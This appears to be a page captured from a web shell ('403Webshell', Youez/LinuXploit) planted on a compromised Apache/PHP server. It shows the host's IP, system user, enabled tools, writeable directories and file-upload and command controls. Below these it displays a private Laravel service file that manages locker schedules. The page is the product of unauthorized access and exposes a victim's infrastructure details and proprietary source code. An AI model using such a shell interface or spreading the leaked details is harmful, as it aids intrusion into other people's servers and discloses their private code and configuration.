403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/app/Http/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/app/Http/Services/LockerScheduleService.php
<?php
namespace App\Http\Services;

use App\Http\Services\LockerMiddlewareService;
use App\Models\LockerSchedule;
use App\Models\Locker;
use Queriplex;

class LockerScheduleService
{
	public function __construct(
		LockerMiddlewareService $lockerMiddlewareService
	)
	{
		$this->lockerMiddlewareService = $lockerMiddlewareService;
	}

	public function lockerScheduleList(Array $request)
	{
		$lockerSchedules = LockerSchedule::query();

		// // filter
		$lockerSchedules = Queriplex::make($lockerSchedules)
            ->withFilters($request, [
				'id' => 'id',
				'type_id' => 'type_id',
				'locker_id' => function($query, $value){
					$query->whereHas('locker',function($q) use ($value){
						$q->where('id',$value);
					});
				},
			])->apply();

		// sort
		if( isset($request['sortBy']) ){

			$order_mode = ( isset($request['sortDesc']) && $request['sortDesc'] == true)  ? 'DESC' : 'ASC';
			
			switch ($request['sortBy']) {
				case 'day':
					$lockerSchedules->orderBy('day', $order_mode)
						->orderBy('start_time','ASC');
					break;
				case 'date':
					$lockerSchedules->orderBy('date', $order_mode)
						->orderBy('start_time','ASC');
					break;
			}
		}
		
		$result = $lockerSchedules->get();
		
		return $result;
	}

	public function lockerScheduleUpdateWeekly(Array $request)
	{
		$locker = Locker::where('id',$request['locker_id'])
			->withTrashed()
			->firstOr( function(){
				throw ValidationException::withMessages(
					[ "id" => "The selected id is invalid." ]
				);
			});
	  
		$schedules = collect($request['schedules'] ?? [])->map(function($item) use ($request) {
			$item['type_id'] = LockerSchedule::WEEKLY;
			$item['day'] = $request['day'];
			return new LockerSchedule($item);
		});

		$locker->weeklySchedules()->where('day',$request['day'])
			->delete();
		$locker->weeklySchedules()->saveMany($schedules);

		return $locker->schedules;
	}

	public function lockerScheduleUpdateSpecial(Array $request)
	{
		$locker = Locker::where('id',$request['locker_id'])
			->withTrashed()
			->firstOr( function(){
				throw ValidationException::withMessages(
					[ "id" => "The selected id is invalid." ]
				);
			});
	  
		$schedules = collect($request['schedules'] ?? [])->map(function($item) use ($request) {
			$item['type_id'] = LockerSchedule::SPECIAL_DAY;
			$item['date'] = $request['date'];
			$item['day'] = 0;
			return new LockerSchedule($item);
		});

		$locker->specialSchedules()->where('date',$request['date'])
			->delete();
		$locker->specialSchedules()->saveMany($schedules);

		return $locker->schedules;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit